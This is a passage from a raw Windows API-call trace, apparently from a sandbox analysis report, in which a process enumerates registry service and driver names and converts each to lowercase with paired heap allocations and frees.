(HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x1de44e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0254.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.954] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.954] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.954] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.954] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0254.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0254.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.954] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.954] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.954] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.954] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adsi") returned 0x0 [0254.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x1de44e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0254.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.954] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.954] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.954] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.954] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0254.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x1de4408, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0254.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.954] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.954] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.954] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.954] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AFD") returned 0x0 [0254.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x1de44e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0254.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.955] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.955] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.955] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.955] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x1dd29e0, cchName=0x104 | out: lpName="agp440") returned 0x0 [0254.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0254.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.955] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.955] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.955] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.955] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ALG") returned 0x0 [0254.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x1de44e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0254.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.955] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.955] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.955] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.955] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x1dd29e0, cchName=0x104 | out: lpName="aliide") returned 0x0 [0254.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0254.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.955] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.955] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.956] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.956] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdide") returned 0x0 [0254.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x1de44e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0254.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.956] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.956] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.956] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.956] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0254.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x1de4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0254.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.956] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.956] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.956] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.956] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0254.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x1de44e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0254.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.956] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.956] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.956] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.956] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0254.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0254.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.957] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.957] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.957] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0254.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x1de44e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0254.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.957] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.957] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.957] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0254.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0254.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.957] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.957] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.957] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppID") returned 0x0 [0254.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x1de44e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0254.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.957] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.957] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.957] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0254.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0254.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.958] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.958] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.958] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.958] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0254.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x1de44e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0254.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.958] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.958] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.958] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.958] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0254.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0254.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.958] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.958] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.958] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.958] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="arc") returned 0x0 [0254.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x1de44e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0254.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.958] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.959] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.959] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.959] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0254.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0254.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.959] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.959] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.959] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.959] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0254.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x1de44e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0254.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.959] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.959] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.959] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.959] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x1dd29e0, cchName=0x104 | out: 